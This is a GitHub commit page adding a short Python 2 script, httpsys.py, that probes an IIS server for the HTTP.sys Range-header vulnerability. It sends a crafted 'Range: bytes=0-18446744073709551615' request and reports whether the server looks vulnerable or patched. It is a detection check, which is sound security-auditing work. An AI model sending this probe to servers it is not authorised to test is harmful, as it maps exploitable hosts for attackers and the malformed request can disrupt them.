Skip to content

Commit

Permalink
Create httpsys.py
Browse files Browse the repository at this point in the history
  • Loading branch information
0c0c0f authored Feb 13, 2017
1 parent c95abf9 commit b021d1d
Showing 1 changed file with 36 additions and 0 deletions.
36 changes: 36 additions & 0 deletions service/httpsys.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#!/usr/bin/env python
#-*-coding:utf-8-*-

import socket
import random


ipAddr = "xxx"
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"

try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 8080))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
print "[*] Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 8080))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
print "[*] Looks Patched"
else:
print "[*] Unexpected response, cannot discern patch status"

except Exception,e:
print e

0 comments on commit b021d1d

Please sign in to comment.